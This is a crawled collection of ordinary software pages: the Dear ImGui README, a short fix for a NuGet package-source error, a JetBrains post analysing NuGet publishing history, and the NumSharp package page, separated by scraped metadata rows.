We occasionally tag Releases (with nice releases notes) but it is generally safe and recommended to sync to latest master or docking branch. The library is fairly stable and regressions tend to be fixed fast when reported. Advanced users may want to use the docking branch with Multi-Viewport and Docking features. This branch is kept in sync with master regularly.
Who uses Dear ImGui?
See the Quotes, Funding & Sponsors, and Software using Dear ImGui Wiki pages for an idea of who is using Dear ImGui. Please add your game/software if you can! Also, see the Gallery Threads!
How can I help?
See GitHub Forum/Issues.
You may help with development and submit pull requests! Please understand that by submitting a PR you are also submitting a request for the maintainer to review your code and then take over its maintenance forever. PR should be crafted both in the interest of the end-users and also to ease the maintainer into understanding and accepting it.
See Help wanted on the Wiki for some more ideas.
Be a Funding Supporter! Have your company financially support this project via invoiced sponsors/maintenance or by buying a license for Dear ImGui Test Engine (please reach out: omar AT dearimgui DOT com).
Sponsors
Ongoing Dear ImGui development is and has been financially supported by users and private sponsors.
Please see the detailed list of current and past Dear ImGui funding supporters and sponsors for details.
From November 2014 to December 2019, ongoing development has also been financially supported by its users on Patreon and through individual donations.
THANK YOU to all past and present supporters for helping to keep this project alive and thriving!
Dear ImGui is using software and services provided free of charge for open source projects:
PVS-Studio for static analysis.
GitHub actions for continuous integration systems.
OpenCppCoverage for code coverage analysis.
Developed by Omar Cornut and every direct or indirect contributors to the GitHub. The early version of this library was developed with the support of Media Molecule and first used internally on the game Tearaway (PS Vita).
Recurring contributors include Rokas Kupstys @rokups (2020-2022): a good portion of work on automation system and regression tests now available in Dear ImGui Test Engine.
Maintenance/support contracts, sponsoring invoices and other B2B transactions are hosted and handled by Disco Hello.
Omar: "I first discovered the IMGUI paradigm at Q-Games where Atman Binstock had dropped his own simple implementation in the codebase, which I spent quite some time improving and thinking about. It turned out that Atman was exposed to the concept directly by working with Casey. When I moved to Media Molecule I rewrote a new library trying to overcome the flaws and limitations of the first one I've worked with. It became this library and since then I have spent an unreasonable amount of time iterating and improving it."
Embeds ProggyClean.ttf font by Tristan Grimmer (MIT license).
Embeds stb_textedit.h, stb_truetype.h, stb_rect_pack.h by Sean Barrett (public domain).
Inspiration, feedback, and testing for early versions: Casey Muratori, Atman Binstock, Mikko Mononen, Emmanuel Briney, Stefan Kamoda, Anton Mikhailov, Matt Willis. Also thank you to everyone posting feedback, questions and patches on GitHub.
|
|||
8582
|
dbpedia
|
2
| 23
|
https://github.com/ocornut/imgui
|
en
|
free Graphical User interface for C++ with minimal dependencies
|
https://repository-images.githubusercontent.com/22067521/01b5ff00-53d7-11ea-86fa-52aee7e335a2
|
https://repository-images.githubusercontent.com/22067521/01b5ff00-53d7-11ea-86fa-52aee7e335a2
|
[
"https://github.com/ocornut/imgui/workflows/build/badge.svg",
"https://github.com/ocornut/imgui/workflows/static-analysis/badge.svg",
"https://github.com/ocornut/imgui_test_engine/workflows/tests/badge.svg",
"https://user-images.githubusercontent.com/8225057/191050833-b7ecf528-bfae-4a9f-ac1b-f3d83437a2f4.png",
"https://user-images.githubusercontent.com/8225057/191050838-8742efd4-504d-4334-a9a2-e756d15bc2ab.png",
"https://user-images.githubusercontent.com/8225057/191055698-690a5651-458f-4856-b5a9-e8cc95c543e2.gif",
"https://user-images.githubusercontent.com/8225057/190203358-6988b846-0686-480e-8663-1311fbd18abd.jpg",
"https://user-images.githubusercontent.com/8225057/190203379-57fcb80e-4aec-4fec-959e-17ddd3cd71e5.jpg",
"https://user-images.githubusercontent.com/8225057/190203393-c5ac9f22-b900-4d1e-bfeb-6027c63e3d92.jpg",
"https://user-images.githubusercontent.com/8225057/190203401-7b595f6e-607c-44d3-97ea-4c2673244dfb.jpg",
"https://avatars.githubusercontent.com/u/8225057?s=64&v=4",
"https://avatars.githubusercontent.com/u/19151258?s=64&v=4",
"https://avatars.githubusercontent.com/u/1197433?s=64&v=4",
"https://avatars.githubusercontent.com/u/814772?s=64&v=4",
"https://avatars.githubusercontent.com/u/4297676?s=64&v=4",
"https://avatars.githubusercontent.com/u/47202645?s=64&v=4",
"https://avatars.githubusercontent.com/u/5081921?s=64&v=4",
"https://avatars.githubusercontent.com/u/1193295?s=64&v=4",
"https://avatars.githubusercontent.com/u/178582?s=64&v=4",
"https://avatars.githubusercontent.com/u/8400779?s=64&v=4",
"https://avatars.githubusercontent.com/u/1285136?s=64&v=4",
"https://avatars.githubusercontent.com/u/1482313?s=64&v=4",
"https://avatars.githubusercontent.com/u/7941875?s=64&v=4",
"https://avatars.githubusercontent.com/u/395730?s=64&v=4"
] |
[] |
[] |
[
""
] | null |
[] | null |
Dear ImGui: Bloat-free Graphical User interface for C++ with minimal dependencies - ocornut/imgui
|
en
|
GitHub
|
https://github.com/ocornut/imgui
|
"Give someone state and they'll have a bug one day, but teach them how to represent state in two separate locations that have to be kept in sync and they'll have bugs for a lifetime." -ryg
(This library is available under a free and permissive license, but needs financial support to sustain its continued improvements. In addition to maintenance and stability there are many desirable features yet to be added. If your company is using Dear ImGui, please consider reaching out.)
Businesses: support continued development and maintenance via invoiced sponsoring/support contracts:
E-mail: contact @ dearimgui dot com
Individuals: support continued development and maintenance here. Also see Funding page.
The Pitch - Usage - How it works - Releases & Changelogs - Demo - Getting Started & Integration Gallery - Support, FAQ - How to help - Funding & Sponsors - Credits - License Wiki - Extensions - Languages bindings & frameworks backends - Software using Dear ImGui - User quotes
Dear ImGui is a bloat-free graphical user interface library for C++. It outputs optimized vertex buffers that you can render anytime in your 3D-pipeline-enabled application. It is fast, portable, renderer agnostic, and self-contained (no external dependencies).
Dear ImGui is designed to enable fast iterations and to empower programmers to create content creation tools and visualization / debug tools (as opposed to UI for the average end-user). It favors simplicity and productivity toward this goal and lacks certain features commonly found in more high-level libraries.
Dear ImGui is particularly suited to integration in game engines (for tooling), real-time 3D applications, fullscreen applications, embedded applications, or any applications on console platforms where operating system features are non-standard.
Minimize state synchronization.
Minimize UI-related state storage on user side.
Minimize setup and maintenance.
Easy to use to create dynamic UI which are the reflection of a dynamic data set.
Easy to use to create code-driven and data-driven tools.
Easy to use to create ad hoc short-lived tools and long-lived, more elaborate tools.
Easy to hack and improve.
Portable, minimize dependencies, run on target (consoles, phones, etc.).
Efficient runtime and memory consumption.
Battle-tested, used by many major actors in the game industry.
The core of Dear ImGui is self-contained within a few platform-agnostic files which you can easily compile in your application/engine. They are all the files in the root folder of the repository (imgui*.cpp, imgui*.h). No specific build process is required. You can add the .cpp files into your existing project.
Backends for a variety of graphics API and rendering platforms are provided in the backends/ folder, along with example applications in the examples/ folder. You may also create your own backend. Anywhere where you can render textured triangles, you can render Dear ImGui.
See the Getting Started & Integration section of this document for more details.
After Dear ImGui is set up in your application, you can use it from _anywhere_ in your program loop:
Dear ImGui allows you to create elaborate tools as well as very short-lived ones. On the extreme side of short-livedness: using the Edit&Continue (hot code reload) feature of modern compilers you can add a few widgets to tweak variables while your application is running, and remove the code a minute later! Dear ImGui is not just for tweaking values. You can use it to trace a running algorithm by just emitting text commands. You can use it along with your own reflection data to browse your dataset live. You can use it to expose the internals of a subsystem in your engine, to create a logger, an inspection tool, a profiler, a debugger, an entire game-making editor/framework, etc.
The IMGUI paradigm through its API tries to minimize superfluous state duplication, state synchronization, and state retention from the user's point of view. It is less error-prone (less code and fewer bugs) than traditional retained-mode interfaces, and lends itself to creating dynamic user interfaces. Check out the Wiki's About the IMGUI paradigm section for more details.
Dear ImGui outputs vertex buffers and command lists that you can easily render in your application. The number of draw calls and state changes required to render them is fairly small. Because Dear ImGui doesn't know or touch graphics state directly, you can call its functions anywhere in your code (e.g. in the middle of a running algorithm, or in the middle of your own rendering process). Refer to the sample applications in the examples/ folder for instructions on how to integrate Dear ImGui with your existing codebase.
A common misunderstanding is to mistake immediate mode GUI for immediate mode rendering, which usually implies hammering your driver/GPU with a bunch of inefficient draw calls and state changes as the GUI functions are called. This is NOT what Dear ImGui does. Dear ImGui outputs vertex buffers and a small list of draw calls batches. It never touches your GPU directly. The draw call batches are decently optimal and you can render them later, in your app or even remotely.
See Releases page for decorated Changelogs. Reading the changelogs is a good way to keep up to date with the things Dear ImGui has to offer, and maybe will give you ideas of some features that you've been ignoring until now!
Calling the ImGui::ShowDemoWindow() function will create a demo window showcasing a variety of features and examples. The code is always available for reference in imgui_demo.cpp. Here's how the demo looks.
You should be able to build the examples from sources. If you don't, let us know! If you want to have a quick look at some Dear ImGui features, you can download Windows binaries of the demo app here:
imgui-demo-binaries-20240105.zip (Windows, 1.90.1 WIP, built 2024/01/05, master) or older binaries.
The demo applications are not DPI aware so expect some blurriness on a 4K screen. For DPI awareness in your application, you can load/reload your font at a different scale and scale your style with style.ScaleAllSizes() (see FAQ).
See the Getting Started guide for details.
On most platforms and when using C++, you should be able to use a combination of the imgui_impl_xxxx backends without modification (e.g. imgui_impl_win32.cpp + imgui_impl_dx11.cpp). If your engine supports multiple platforms, consider using more imgui_impl_xxxx files instead of rewriting them: this will be less work for you, and you can get Dear ImGui running immediately. You can later decide to rewrite a custom backend using your custom engine functions if you wish so.
Integrating Dear ImGui within your custom engine is a matter of 1) wiring mouse/keyboard/gamepad inputs 2) uploading a texture to your GPU/render engine 3) providing a render function that can bind textures and render textured triangles, which is essentially what Backends are doing. The examples/ folder is populated with applications doing just that: setting up a window and using backends. If you follow the Getting Started guide it should in theory takes you less than an hour to integrate Dear ImGui. Make sure to spend time reading the FAQ, comments, and the examples applications!
Officially maintained backends/bindings (in repository):
Renderers: DirectX9, DirectX10, DirectX11, DirectX12, Metal, OpenGL/ES/ES2, SDL_Renderer, Vulkan, WebGPU.
Platforms: GLFW, SDL2/SDL3, Win32, Glut, OSX, Android.
Frameworks: Allegro5, Emscripten.
Third-party backends/bindings wiki page:
Languages: C, C# and: Beef, ChaiScript, CovScript, Crystal, D, Go, Haskell, Haxe/hxcpp, Java, JavaScript, Julia, Kotlin, Lobster, Lua, Nim, Odin, Pascal, PureBasic, Python, ReaScript, Ruby, Rust, Swift, Zig...
Frameworks: AGS/Adventure Game Studio, Amethyst, Blender, bsf, Cinder, Cocos2d-x, Defold, Diligent Engine, Ebiten, Flexium, GML/Game Maker Studio, GLEQ, Godot, GTK3, Irrlicht Engine, JUCE, LÖVE+LUA, Mach Engine, Magnum, Marmalade, Monogame, NanoRT, nCine, Nim Game Lib, Nintendo 3DS/Switch/WiiU (homebrew), Ogre, openFrameworks, OSG/OpenSceneGraph, Orx, Photoshop, px_render, Qt/QtDirect3D, raylib, SFML, Sokol, Unity, Unreal Engine 4/5, UWP, vtk, VulkanHpp, VulkanSceneGraph, Win32 GDI, WxWidgets.
Many bindings are auto-generated (by good old cimgui or newer/experimental dear_bindings), you can use their metadata output to generate bindings for other languages.
Useful Extensions/Widgets wiki page:
Automation/testing, Text editors, node editors, timeline editors, plotting, software renderers, remote network access, memory editors, gizmos, etc. Notable and well supported extensions include ImPlot and Dear ImGui Test Engine.
Also see Wiki for more links and ideas.
Examples projects using Dear ImGui: Tracy (profiler), ImHex (hex editor/data analysis), RemedyBG (debugger) and hundreds of others.
For more user-submitted screenshots of projects using Dear ImGui, check out the Gallery Threads!
For a list of third-party widgets and extensions, check out the Useful Extensions/Widgets wiki page.
Custom engine erhe (docking branch)
Custom engine for Wonder Boy: The Dragon's Trap (2017)
Custom engine (untitled)
Tracy Profiler (github)
See: Frequently Asked Questions (FAQ) where common questions are answered.
See: Getting Started and Wiki for many links, references, articles.
See: Articles about the IMGUI paradigm to read/learn about the Immediate Mode GUI paradigm.
See: Upcoming Changes.
See: Dear ImGui Test Engine + Test Suite for Automation & Testing.
For the purposes of getting search engines to crawl the wiki, here's a link to the Crawlable Wiki (not for humans, here's why).
Getting started? For first-time users having issues compiling/linking/running or issues loading fonts, please use GitHub Discussions. For ANY other questions, bug reports, requests, feedback, please post on GitHub Issues. Please read and fill the New Issue template carefully.
Private support is available for paying business customers (E-mail: contact @ dearimgui dot com).
Which version should I get?
We occasionally tag Releases (with nice releases notes) but it is generally safe and recommended to sync to latest master or docking branch. The library is fairly stable and regressions tend to be fixed fast when reported. Advanced users may want to use the docking branch with Multi-Viewport and Docking features. This branch is kept in sync with master regularly.
Who uses Dear ImGui?
See the Quotes, Funding & Sponsors, and Software using Dear ImGui Wiki pages for an idea of who is using Dear ImGui. Please add your game/software if you can! Also, see the Gallery Threads!
How can I help?
See GitHub Forum/Issues.
You may help with development and submit pull requests! Please understand that by submitting a PR you are also submitting a request for the maintainer to review your code and then take over its maintenance forever. PR should be crafted both in the interest of the end-users and also to ease the maintainer into understanding and accepting it.
See Help wanted on the Wiki for some more ideas.
Be a Funding Supporter! Have your company financially support this project via invoiced sponsors/maintenance or by buying a license for Dear ImGui Test Engine (please reach out: omar AT dearimgui DOT com).
Sponsors
Ongoing Dear ImGui development is and has been financially supported by users and private sponsors.
Please see the detailed list of current and past Dear ImGui funding supporters and sponsors for details.
From November 2014 to December 2019, ongoing development has also been financially supported by its users on Patreon and through individual donations.
THANK YOU to all past and present supporters for helping to keep this project alive and thriving!
Dear ImGui is using software and services provided free of charge for open source projects:
PVS-Studio for static analysis.
GitHub actions for continuous integration systems.
OpenCppCoverage for code coverage analysis.
Developed by Omar Cornut and every direct or indirect contributors to the GitHub. The early version of this library was developed with the support of Media Molecule and first used internally on the game Tearaway (PS Vita).
Recurring contributors include Rokas Kupstys @rokups (2020-2022): a good portion of work on automation system and regression tests now available in Dear ImGui Test Engine.
Maintenance/support contracts, sponsoring invoices and other B2B transactions are hosted and handled by Disco Hello.
Omar: "I first discovered the IMGUI paradigm at Q-Games where Atman Binstock had dropped his own simple implementation in the codebase, which I spent quite some time improving and thinking about. It turned out that Atman was exposed to the concept directly by working with Casey. When I moved to Media Molecule I rewrote a new library trying to overcome the flaws and limitations of the first one I've worked with. It became this library and since then I have spent an unreasonable amount of time iterating and improving it."
Embeds ProggyClean.ttf font by Tristan Grimmer (MIT license).
Embeds stb_textedit.h, stb_truetype.h, stb_rect_pack.h by Sean Barrett (public domain).
Inspiration, feedback, and testing for early versions: Casey Muratori, Atman Binstock, Mikko Mononen, Emmanuel Briney, Stefan Kamoda, Anton Mikhailov, Matt Willis. Also thank you to everyone posting feedback, questions and patches on GitHub.
|
|||
8582
|
dbpedia
|
0
| 7
|
https://github.com/microsoft/onnxruntime/issues/12042
|
en
|
Builds C# bindings and creates nuget package · Issue #12042 · microsoft/onnxruntime
|
https://opengraph.githubassets.com/97a84f00a3fec23816cdca764ceb07847a3fe7327b313da3e987be09a95debae/microsoft/onnxruntime/issues/12042
|
https://opengraph.githubassets.com/97a84f00a3fec23816cdca764ceb07847a3fe7327b313da3e987be09a95debae/microsoft/onnxruntime/issues/12042
|
[
"https://avatars.githubusercontent.com/u/32585434?s=80&v=4",
"https://user-images.githubusercontent.com/32585434/176814072-103c0b2e-a712-4c65-954e-0d8e36578673.jpg",
"https://avatars.githubusercontent.com/u/18449977?s=80&v=4",
"https://avatars.githubusercontent.com/u/32585434?s=80&v=4",
"https://user-images.githubusercontent.com/32585434/176818596-c3960058-d786-495d-83e9-ea2dc9ccdf1e.jpg",
"https://avatars.githubusercontent.com/u/32585434?s=80&v=4",
"https://avatars.githubusercontent.com/u/3524474?s=80&u=35d836369067e5d3ba8df9a5f4a0bb837c0c11c9&v=4",
"https://avatars.githubusercontent.com/u/32585434?s=80&v=4",
"https://avatars.githubusercontent.com/u/18449977?s=80&v=4",
"https://avatars.githubusercontent.com/u/3524474?s=52&v=4",
"https://avatars.githubusercontent.com/u/18449977?s=52&v=4",
"https://avatars.githubusercontent.com/u/32585434?s=52&v=4"
] |
[] |
[] |
[
""
] | null |
[] | null |
System information OS Platform and Distribution (e.g., Linux Ubuntu 16.04): windows ONNX Runtime installed from (source or binary): ONNX Runtime version:1.6.0 GPU Python version: Visual Studio version (if applicable): vs 2019 GCC/Compile...
|
en
|
GitHub
|
https://github.com/microsoft/onnxruntime/issues/12042
| ||||
8582
|
dbpedia
|
0
| 94
|
https://gavilan.blog/2021/09/02/solving-the-error-no-packages-exist-with-this-id-in-visual-studio/
|
en
|
Solving the error: “No packages exist with this id” in Visual Studio
|
[
"https://gavilan.blog/wp-content/uploads/2021/09/nuget1.png?w=488",
"https://gavilan.blog/wp-content/uploads/2021/09/nuget2.png?w=743",
"https://2.gravatar.com/avatar/53ab6fc1660061f97d534a9207dacc0f67c388f09ee5cb01ab4c914a62f22b80?s=125&d=identicon&r=G",
"https://secure.gravatar.com/avatar/a9cc78d85aafcd5c44aaa3797ac9463d?s=320",
"https://gavilan592969220.files.wordpress.com/2019/09/mvp_logo_horizontal_preferred_cyan300_cmyk_300ppi.png",
"https://gavilan.blog/wp-content/uploads/2018/08/cropped-felipe.jpg?w=50",
"https://gavilan.blog/wp-content/uploads/2018/08/cropped-felipe.jpg?w=50",
"https://pixel.wp.com/b.gif?v=noscript"
] |
[] |
[] |
[
""
] | null |
[] |
2021-09-02T00:00:00
|
In this post we are going to solve the problem "No packages exist with this id". This problem typically occurs because we don't have a Nuget package source properly configured in Visual Studio. In order to solve this issue we must: 1. Go to Visual Studio (with a project opened) 2. Right click on the…
|
en
|
Felipe Gavilán
|
https://gavilan.blog/2021/09/02/solving-the-error-no-packages-exist-with-this-id-in-visual-studio/
|
In this post we are going to solve the problem “No packages exist with this id”. This problem typically occurs because we don’t have a Nuget package source properly configured in Visual Studio.
In order to solve this issue we must:
1. Go to Visual Studio (with a project opened)
2. Right click on the project and click “Manage nuget packages“
3. Click on the gear icon at the upper right:
4. Have this configuration in place:
Name: nuget.org
Source: https://api.nuget.org/v3/index.json
5. Press Ok.
That should be it!
Courses
If you want to learn about C#, ASP.NET Core, Angular, React, and more good stuff, check out my Udemy courses today: https://www.felipe-gavilan.com/cursos?idioma=eng
Kind regards!
|
|||||
8582
|
dbpedia
|
1
| 37
|
https://blog.jetbrains.com/dotnet/2020/11/09/diving-into-nuget-history-for-fun-and-community-insights/
|
en
|
Diving Into NuGet History For Fun and Community Insights
|
[
"https://blog.jetbrains.com/wp-content/uploads/2024/06/JETBRAINS-Blog.svg",
"https://blog.jetbrains.com/wp-content/uploads/2019/01/Frame-1321314548.svg",
"https://blog.jetbrains.com/wp-content/uploads/2023/01/62d2f4d9361a3cab-200x200.gif",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/1-day-one.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/2-published-today.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.13.07-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.15.21-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.22.59-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.35.40-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.44.05-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.47.50-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.49.03-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-13.52.35-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.35.41-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.00.43-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.01.52-2x.png",
"https://blog.jetbrains.com/wp-content/uploads/2020/11/Screenshot-2020-11-05-at-14.12.50-2x.png",
"https://blog.jetbrains.com/wp-content/themes/jetbrains/assets/img/img-form.svg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/1280x720_4dotNet_social_share.png",
"https://blog.jetbrains.com/wp-content/uploads/2022/07/F34E0F9B-D3F0-4DD4-B7C7-B11AF3FC6D25-50x50.jpeg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/Featured_Blog_1280x720-2x-11.png",
"https://blog.jetbrains.com/wp-content/uploads/2022/07/F34E0F9B-D3F0-4DD4-B7C7-B11AF3FC6D25-50x50.jpeg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/Featured_Blog_1280x720-2x-10.png",
"https://blog.jetbrains.com/wp-content/uploads/2022/07/F34E0F9B-D3F0-4DD4-B7C7-B11AF3FC6D25-50x50.jpeg",
"https://blog.jetbrains.com/wp-content/uploads/2024/08/unreal-debugging-improvements-in-rider-20242-featured.png",
"https://secure.gravatar.com/avatar/e29361f2b498fb2231dca801f0e8f4e3?s=50&r=g"
] |
[] |
[] |
[
""
] | null |
[
"Sasha Ivanova",
"Matt Ellis"
] |
2020-11-09T00:00:00
|
In the dark ages of .NET, developers had to crawl the internet for dependencies, run installers, create bloated lib folders, and possibly introduce assemblies into the Global Assembly Cache. Gross! Th
|
en
|
https://blog.jetbrains.com/wp-content/themes/jetbrains/assets/img/favicons/favicon.ico
|
The JetBrains Blog
|
https://blog.jetbrains.com/dotnet/2020/11/09/diving-into-nuget-history-for-fun-and-community-insights/
|
.NET Tools Community How-To's JetBrains
In the dark ages of .NET, developers had to crawl the internet for dependencies, run installers, create bloated lib folders, and possibly introduce assemblies into the Global Assembly Cache. Gross! Those who remember will agree it was terrible, but it’s better now!
We can all breathe a deep sigh of relief knowing that package management is central to most modern technology stacks, including our beloved .NET. Today, most developers instinctually reach to the catalog of packages on NuGet to solve mundane to difficult problems. That’s a good thing, but easy access to solutions also can lull us into taking our community for granted.
In this post, we’ll look at our .NET community’s history through the lens of NuGet data harvested using Maarten’s Azure Functions-based metadata crawler, which produced 2.7 million records and a 1.5GB comma-delimited text file. We loaded the data into Elasticsearch and utilized Kibana to make a dashboard, which you’ll see later in this post.
APIs, data points, and structure
As of writing this post, there is no way to get a singular database of NuGet information. Folks looking to recreate this post will need to crawl the NuGet APIs made available to everyone. Again, Maarten’s Azure Functions-based metadata crawler is a great place to start.
At first, retrieving the data had us worried. NuGet is a critical community infrastructure that everyone relies on working. Having multiple community members coordinate millions of API calls at the same time could damage NuGet’s ability to deliver responses to clients. That said, we were given the “unofficial” go-ahead by NuGet team members to use the APIs.
For our data, we only retrieved publishing information and not consumer information. For example, Amazon has published the AWSSDK.APIGateway package over 396 times since its first release. Amazon’s release cycle is tame in comparison to other libraries. Paket, a popular package manager client, has published its packages over 2,413 times!
While the NuGet API does expose download counts, it’s cumbersome to gather this data for all packages. There is an open GitHub issue about exposing download counts in an easy-to-consume manner, but given the already enormous breadth of information, we decided against download counts (for now).
The information we were able to retrieve for published packages includes: Package Id, Tags, Authors, Version, License, Publish Date, and Target Frameworks. Each record in our database is for a package version, helping us understand any particular package’s publishing frequency and lifespan.
Assumptions
We need to get a disclaimer out of the way before we start looking at information.
First, we’re making assumptions about folks appropriately tagging packages – likely a significant portion of publishers are not. Lack of tags could mean the results are incomplete. Additionally, while we can compute narrow slices based on tags, authors, and time frames, it gets harder to do larger wedges of data. The computation overwhelms the compute engine.
Additionally, this post is about data. We’ll try not to assume anything about the state of .NET, OSS, or any other conjectures.
So let’s get started by looking at some data.
Started from the bottom…
*If the dashboard images are too small, use the context menu to open the images in a new tab.
All great things have humble beginnings, and NuGet is no different. On January 7th, 2011, David Bryon published Agatha-rrsl to the NuGet registry. The first NuGet package, followed almost 1 second later by a flood of packages. On January 7th, 177 publish events, and publishers added 155 unique packages to the ecosystem.
Authors on that day include the Codeplex Foundation, Google, and Microsoft. Significant tags include aspnetwebpages, mvc, t4, and mocking. Seeing that ASP.NET MVC is one of the first projects to be open-sourced by Microsoft, it’s no surprise to see it amongst the first packages released.
Some folks may be wondering what sl3 and sl4 mean regarding target frameworks. Well, that’s Silverlight, the discontinued web version of .NET. Don’t worry though, many of the lessons learned from Silverlight found their way into .NET Core and .NET 5.
From those small yet significant beginnings, we now have 229,336+ unique packages on NuGet.
Now we’re here!
Let’s look at the publishing of unique packages from the last 30 days. We’ll see a clear pattern emerging as compared to the first day of NuGet packages.
The consistent pattern would likely be due to advances in continuous build and deployment processes. Products like TeamCity, AppVeyor, and GitHub Actions help developers ship consistently even for minor changes.
Looking at a complete picture of the last 30 days, we can see service providers have been busy pushing commercial packages to NuGet: Amazon, Google, Microsoft, Uno Platform, and Syncfusion. Amazon has an overwhelmingly large lead in the tag count, with aws being present over 3,000 times.
What’s also interesting here is the target frameworks tag cloud. The target framework netstandard2.1 looms large over other versions. While still present, the market share for legacy .NET is relatively smaller. We can see that net50 begins to appear as developers start to support the new version of .NET.
❤️ JetBrains loves OSS
It wouldn’t be any fun unless we looked at what JetBrains has done to support .NET OSS. For this section, let’s look exclusively at the jetbrains author, which does not include individual JetBrains employees’ contributions to the ecosystem.
JetBrains has contributed 44 unique packages to NuGet, with a primary focus around our .NET tools like ReSharper, dotMemory, and dotCover. We also ship .NET packages to support our other product offerings, such as YouTrack and TeamCity. What’s visible in the dashboard above is our unique versioning approach, which uses years to denote the current release. For example, you’ll see the version prefix 2020.*.* used frequently this year. What’s also amazing is that JetBrains has been part of the .NET OSS ecosystem for over eight years.
ASP.NET community
Next, we were curious, outside of Microsoft, who in our community contributes the most to the tags aspnet and aspnetcore. Here is where things get interesting, as we see our Asian friends contributing a good portion of the 2,890 packages to the ASP.NET ecosystem.
Developers in China make up 50% of the packages with the aspnet and aspnetcore tags. Chinese is likely an uncommon language for native English speaking developers, so these packages are less frequently used outside of China. These publishers are using the tag applicationframework heavily, which leads us to think many of these packages are part of a philosophical approach to building web applications.
One of the framworks we found in this data is China .NET, with an extensive set of documentation. This framework has all kinds of utilities tied in, such as an alternative for AutoMapper.
All this makes us wonder what other sub-cultures can be uncovered simply by looking at NuGet’s data?
Xamarin development
Xamarin is a cross-platform approach to building mobile applications targeting operating systems like iOS, Android, UWP, and many more. Let’s see what the search query of tags: xamarin* returns.
The mobile ecosystem is healthy and alive, with a head-spinning 6,393 packages. The trajectory of growth from 0 to over 3000 published packages in a given timeframe is impressive. Additionally, what’s different about mobile development is the support for varying target frameworks, which almost borders on the absurd.
Here’s the complete picture for the Xamarin community.
Not C-Sharp
It’s hard to argue against C# being the dominant language in the .NET ecosystem, but that’s not to say that F# and VB.NET developers don’t love and champion their languages. Let’s take a look at the two sibling languages and their contributions to NuGet. Let’s start with F#. We’ll filter our results using the tag fsharp.
What stands out immediately with the F# dashboard is its continued publishing momentum. This momentum is even more astounding, as it is driven mostly by community members, with Ryan Riley contributing a whopping 21.96% of unique packages.
In the last 30 days, the F# community has focused on releasing Fable and Fantomas. We recently invited core contributor Florian Verdonck to give a talk about Fantomas to JetBrains .NET Days attendees.
Well, what about VB.NET? Let’s filter by the tag of vb and vb.net and see what we get.
We can see that the Visual Basic packages come from software vendors like Evo PDF Software, HiQPDF software, and ComponentPro Software. Seeing VB.NET has a following in enterprise development circles, it makes sense to see more business-focused packages.
Licenses
The data we have is a little sparse when it comes to project licenses. The NuGet spec allows folks to set their license URL, which makes determining the precise value difficult. For this section, we relied on a keyword in the URL string itself, so take this data with a healthy dose of skepticism. For example, if the license URL contains MIT, we assume the project has chosen the MIT license.
Looking at the packages, we see that the MIT and Apache licenses are the most commonly specified. The Custom license could contain MIT, Apache, and BSD variants, but we chose not to follow the URLs to determine the exact values. We also see many publishers leave the license URL value empty altogether, which can be problematic for consumers trying to choose a legally-usable package.
Conclusion
We’ve just started to scratch the surface around the NuGet ecosystem. Sometimes trends are self-evident, and other times we need to have a starting point to query further. Like we mentioned at the start of this post, this information is publisher only, giving us an exciting yet admittedly incomplete picture of our community. What was most exciting to see is the broader .NET community’s sub-cultures, programming languages, platforms, and geography.
If you folks have any interesting questions you’d like to see answered by this data, please leave a comment below. If you see something in the information we missed, again, we’d love to hear from you. Thank you for reading, and please share this post and discuss it with your developer friends.
|
||||
8582
|
dbpedia
|
2
| 19
|
https://www.nuget.org/packages/NumSharp/0.20.0
|
en
|
NumSharp 0.20.0
|
https://api.nuget.org/v3-flatcontainer/numsharp/0.20.0/icon
|
https://api.nuget.org/v3-flatcontainer/numsharp/0.20.0/icon
|
[
"https://api.nuget.org/v3-flatcontainer/numsharp/0.20.0/icon",
"https://badges.gitter.im/Join%20Chat.svg",
"https://ci.appveyor.com/api/projects/status/bmaauxd9rx5lsq9i?svg=true",
"https://codecov.io/gh/SciSharp/NumSharp/branch/master/graph/badge.svg",
"https://img.shields.io/nuget/dt/NumSharp.svg",
"https://img.shields.io/badge/link-996.icu-red.svg",
"https://raw.githubusercontent.com/SciSharp/TensorFlow.NET/master/docs/TIM.jpg",
"https://nuget.org/Content/gallery/img/nuget-trends.svg",
"https://www.nuget.org/profiles/SciSharp/avatar?imageSize=64",
"https://nuget.org/Content/gallery/img/facebook.svg",
"https://nuget.org/Content/gallery/img/twitter.svg",
"https://nuget.org/Content/gallery/img/rss.svg"
] |
[] |
[] |
[
""
] | null |
[] | null |
NumSharp is the fundamental library for scientific computing with .NET providing a similar API to python's numpy scientific library. NumSharp has full N-D, broadcasting and axis support. If you want to use...
|
en
|
/favicon.ico
|
https://www.nuget.org/packages/NumSharp/0.20.0
|
NumSharp
NumPy port in C# .NET Standard<a href="http://scisharpstack.org"><img src="https://github.com/SciSharp/SciSharp/blob/master/art/scisharp_badge.png" width="200" height="200" align="right" /></a>
Is it difficult to translate python machine learning code into C#? Because too many functions can’t be found in the corresponding code in the .Net SDK. NumSharp is the C# version of NumPy, which is as consistent as possible with the NumPy programming interface, including function names and parameter locations. By introducing the NumSharp tool library, you can easily convert from python code to C# code. Here is a comparison code between NumSharp and NumPy (left is python, right is C#):
If you want to read some more informations, we start a doc on https://scisharp.github.io/NumSharp/.
NumSharp has implemented the arange, array, max, min, reshape, normalize, unique interfaces. More and more interfaces will be added to the library gradually. If you want to use .NET to get started with machine learning, NumSharp will be your best tool library.
